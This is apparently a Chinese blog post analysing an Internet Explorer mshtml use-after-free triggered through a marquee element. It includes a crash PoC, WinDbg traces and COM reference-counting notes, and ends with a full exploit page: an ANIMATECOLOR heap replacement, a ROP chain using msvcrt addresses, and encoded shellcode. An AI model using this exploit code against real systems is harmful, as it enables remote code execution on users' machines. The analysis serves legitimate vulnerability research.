之前一直没有写博客记录的习惯,今天开始要记录一下这些杂乱的知识,以便以后复习和查看
漏洞简介
这个漏洞是很久之前分析的一个 IE 的 UAF ,那个时候的漏洞利用还比较简单,这两年随着各种保护机制的加入和系统安全的不断增强,漏洞利用也变得越来越难。
首先是漏洞的poc,这里的poc并不唯一,在知道了漏洞原理之后便可以自己构造
<!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<script>
function chg()
{
try{
marq.replaceNode(document.createTextNode("node"));
}catch(exception){}
CollectGarbage();
}
function init(){
document.body.contentEditable="true";
try{
a = document.createElement("frameset")
marq.applyElement(a);
}catch(exception){}
try{
document.selection.createRange().select();
}catch(exception){}
}
</script>
</head>
<body onload=init() onresize=chg()>
<marquee id=marq ></marquee>
</body>
</html>
样本的逻辑非常简单
在 init() 函数中调用创建 frameset 标签对象,并将frameset 对象设置成 marquee 对象的子节点;接着调用 document.selection.createRange().select()
该操作会触发 onresize 事件,在事件响应函数中,将marquee 对象释放。
漏洞分析
- 在测试环境中打开样本,可以看到程序崩溃在如下位置
0:008> r
eax=07afafa0 ebx=07afafa0 ecx=038fc1d8 edx=00000000 esi=07afafa0 edi=00000000
eip=637d8993 esp=038fc198 ebp=038fc1b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CElement::GetBoundingRect+0xd:
637d8993 8b5614 mov edx,dword ptr [esi+14h] ds:0023:07afafb4=????????
根据崩溃点信息初步可判断是一个UAF,使用命令 heap -p -a esi
查看 esi 的释放栈,又可以初步判断是个DOM元素的UAF。
0:008> !heap -p -a 07afafb4
address 07afafb4 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
753fcc8: 7afa000 2000
7c947553 ntdll!RtlFreeHeap+0x000000f9
63625b1d mshtml!CTableCell::`vector deleting destructor'+0x00000022
63628a50 mshtml!CBase::SubRelease+0x00000022
63625df6 mshtml!CElement::PrivateExitTree+0x00000011
636266b2 mshtml!CMarkup::UnloadContents+0x00000381
63626a3d mshtml!CMarkup::Passivate+0x00000085
63640d40 mshtml!CEventObj::Release+0x0000000e
6364113b mshtml!CElement::PrivateRelease+0x00000038
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014
633a10b4 jscript!VAR::Clear+0x0000005c
6339fb4a jscript!GcContext::Reclaim+0x000000ab
6339fd33 jscript!GcContext::CollectCore+0x00000113
63405594 jscript!JsCollectGarbage+0x0000001d
633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
633a6650 jscript!VAR::InvokeByDispID+0x0000017c
查看调用栈,可以明显看出程序在执行语句 document.selection.createRange().select()
时触发崩溃。
0:008> k
ChildEBP RetAddr
038fc1b8 63823b86 mshtml!CElement::GetBoundingRect+0xd
038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x14f
038fc210 63944455 mshtml!CLayout::ScrollRectIntoView+0x98
038fc250 63827a0c mshtml!CLayout::ScrollRangeIntoView+0x54
038fc364 63978a3a mshtml!CFlowLayout::ScrollRangeIntoView+0x176
038fc3cc 6397a575 mshtml!CAutoRange::scrollIntoView+0x1cc
038fc3ec 635ebdd1 mshtml!CAutoRange::select+0x4c
- 在样本中触发崩溃的语句前加入可控断点,再次运行程序
- 程序暂停在刚才设置的断点位置,在这里打下虚拟机快照
- 运行,程序再次崩溃,记录下程序崩溃点信息
- 返回快照,查看此时的 esi 信息,可以看出,该对象是页面元素 marquee 对象
- 在元素虚表上下写断点,程序会断在该对象释放时(因为只有释放时元素的虚表才会被修改) 根据元素释放时的函数调用栈可以看出该元素在执行 onresize 事件响应函数时被释放,而 onresize 事件则是由 select 操作触发
0:008> k
ChildEBP RetAddr
038f8d00 63625b08 mshtml!CElement::~CElement+0xb
038f8d0c 63628a50 mshtml!CTableCell::`vector deleting destructor'+0xd
......
038f8e80 6339ffc0 jscript!VAR::Clear+0x5c
038f8ea8 6339fb4a jscript!GcAlloc::ReclaimGarbage+0x91
038f8ec4 6339fd33 jscript!GcContext::Reclaim+0xab
038f8ed8 6339fc28 jscript!GcContext::CollectCore+0x113
038f8eec 63405594 jscript!GcContext::Collect+0x51
038f8ef4 633a8561 jscript!JsCollectGarbage+0x1d
.......
038fc120 636fa0f5 mshtml!COmWindowProxy::Fire_onresize+0x20
038fc128 6361b404 mshtml!CElement::Fire_onresize+0x54
038fc158 6361b2c5 mshtml!CView::ExecuteEventTasks+0x21c
038fc19c 6361bf1a mshtml!CView::EnsureView+0x325
038fc1b8 63823b66 mshtml!CElement::EnsureRecalcNotify+0x17c
038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x132 <-Crash There
038fc210 63944455 mshtml!CLayout::ScrollRectIntoView+0x98
038fc250 63827a0c mshtml!CLayout::ScrollRangeIntoView+0x54
038fc364 63978a3a mshtml!CFlowLayout::ScrollRangeIntoView+0x176
038fc3cc 6397a575 mshtml!CAutoRange::scrollIntoView+0x1cc
038fc3ec 635ebdd1 mshtml!CAutoRange::select+0x4c
- 可以看出对象指针残留在 ebx 寄存器中。调用
CElement::EnsureRecalcNotify
时触发消息将对象释放,从而在函数返回后再次访问对象指针时产生崩溃
详细分析
从对象创建开始分析对象的生命周期,分析对象为什么会在仍存在引用的时候被释放。ie 中的 DOM 对象本质上是一种 COM 的实现,而 COM 组件对象均是使用引用计数来进行生命周期维护的,当引用计数为 0 时对象释放。引用计数储存在 DOM 对象偏移 0x4 位置的对象。
COM 对象的引用计数遵循以下几个规则
- 在返回之前调用 AddRef。对于那些返回接口指针的函数,在返回之前应该对相应的指针调用 AddRef。这些函数包括QueryInterface 及 CreateInstance。这样当客户从这种函数得到一个接口后。它将无需调用 AddRef。
- 使用完接口之后调用 Release。在使用某个接口之后应该调用这些接口的Release函数。
- 在赋值之后调用AddRef.。在将一个接口指针赋给另一个接口指针时,应调用 AddRef。换句话说,在建立接口的另外一个引用之后应增加相应组件的引用计数。
另外为了效率的考虑,引用计数还遵循了以下几个优化规则
- 任何在输出参数中或作为返回值返回一个新的接口指针的函数必须对些接口指针调用AddRef
- 对传入函数的接口指针,无需调用AddRef和Release,这是因为函数的生命期嵌套在调用者的生命期内。
- 对于用输入-输出参数传递进来的接口指针,必须在给它赋另外一个接口指针值之前调用其Release。在函数返回之前,还必须对输出参数中所保存的接口指针调用AddRef。
- 对于局部定义的接口指针,由于它们只是在函数的生命其内才存在,因此无需调用AddRef和Release。
- 对于保存在全局变量中的接口指针,在将其传递给另外一个函数之前,必须调用其AddRef。
可以看出,在COM 对象引用计数规则的管理下,函数的传入参数以及函数内的临时变量将不会引起引用计数的修改。
回到漏洞这里,CLayout::ScrollElementIntoView
函数以 CMarquee 对象指针为传入参数,执行相关的功能,这里按照 COM 接口的引用计数规则作为 传入参数的 CMarquee 对象可以不必添加引用计数。然而CLayout::ScrollElementIntoView
函数却在执行流程中调用了响应函数,并且在事件响应函数中marquee 对象被替换,即在 js 层面无法再访问到marq 对象,那么 ie 的垃圾回收便会将那些无法被访问到的数据当作垃圾进行处理,从而释放了CMarquee。
抽象看来,这次事故的原因可以总结为
pHTML->pSomeNode = new CMarquee():m_ref(1);
......
PDWORD pTmp = pHTML->pSomeNode; //临时变量不添加引用
CLayout::ScrollElementIntoView(pTmp ,) // IN 类型参数不添加引用
{
PDWORD pOld = pHTML->pSomeNode; // 临时变量不添加引用
pHTML->pSomeNode = new CTextNode();
pOld->Release(); // CollectGarbage
}
pTmp ???
事实上 IE 内部的引用计数管理并不完全按照 COM 的要求规则来,在具体实现中还有许多引用却没有添加引用计数的情况,其实现上更加混乱。目前还没有理清楚为什么这么混乱却还能在大多数情况下保持正确。
这一部分应该会存在不少的问题,以后还需要修改
漏洞利用
关于 UAF 的利用网上已经有很多实例了,这里就不详细的分析,仅仅贴出代码。这里的利用代码没有使用常规的对象堆喷占位,而是使用了一种特殊的对象 t:ANIMATECOLOR
。该对象内部存储的数据直接是函数地址,比较有意思,可以当作消遣看一下。
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta>
<IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function int2escape(a)
{
var b = a.toString(16);
var len = b.length;
if(len<8)
{
for(var i=0;i<(8-len);i++)
{
b = '0'+b;
}
}
var result = unescape("%u"+b.substring(4,8)+"%u"+b.substring(0,4));//if the int is 0x00111111...
return result;
}
String.prototype.repeat=function(i){return new Array(isNaN(i)?1:++i).join(this);}
var msvcrt_base = 0x77be0000;
var xchg_eax_esp = msvcrt_base+0x5ed5;
var call_virtualprotect = msvcrt_base+0x1c0b0;
var pop_ebp_ret = msvcrt_base+0xef31;
var rop="";
var pivot = int2escape(xchg_eax_esp);
var shellcode = unescape("%u33FC%u68C0%u8963%u4FD1%u5168%uA22F%u8B01%u8DF4%uF87E%uDB33%uEC81%u0400%u0000%u6850%u6C65%u3233%u6B68%u7265%u546E%uD233%u8B64%u305A%u4B8B%u8D0C%u1C51%uC28B%u5657%uC933%u148B%u3B0A%u74C2%u8B79%u2072%u7C8D%u0C24%u08B1%u448A%uFE4E%u5C8A%uFF0F%uC9FE%uC33A%uF274%uF980%u75FF%u8BDB%u086A%u5F5E%u60AD%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u633D%uD189%u754F%uEBB5%u5B10%u016A%uFF53%uF857%uFF53%uFC57%uC483%u6120%uE8C3%uFFEB%uFFFF%u6163%u636C%u652e%u6578%u0000%u0000");
var roparray = new Array();
var index_rop = 0;
roparray[index_rop++] = int2escape(pop_ebp_ret);
roparray[index_rop++] = int2escape(0x121211be);
roparray[index_rop++] = int2escape(call_virtualprotect);
roparray[index_rop++] = int2escape(0x12121216);
for(var i = 0; i <roparray.length ; i++)
{
rop+=roparray[i];
}
animvalues = unescape("%u1414%u1415") // LockWorkstation
while(animvalues.length < 0x70/2) {
animvalues += animvalues;
}
animvalues += pivot;
animvalues += rop;
//animvalues += shellcode;
while(animvalues.length < 0xDC) {
animvalues += unescape("%u1414%u1415");
}
cheat = unescape("%u0001u77be");
for(i = 1; i < 0x60/4; i++) {
animvalues += ";" + cheat;
}
var ll=new Array();
for (i=0;i<333;i++)ll.push(document.createElement("img"));
for(i=0;i<333;i++) ll[i].className=tpx;
for(i=0;i<333;i++) ll[i].className="";
var flag = 0;
function chg()
{
if(!flag)
{
marq.replaceNode(document.createTextNode("xp")); //release
flag = 1;
}
else
{
}
CollectGarbage();
a=document.getElementById('myanim');
a.values=animvalues;
}
function init(){
document.body.contentEditable="true";
try{
a = document.createElement("frameset")
marq.applyElement(a);
}catch(exception){}
try{
document.selection.createRange().select();
}catch(exception){alert('11')}
}
</script>
</head>
<body onload=init() onresize=chg()>
<marquee id=marq ></marquee>
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>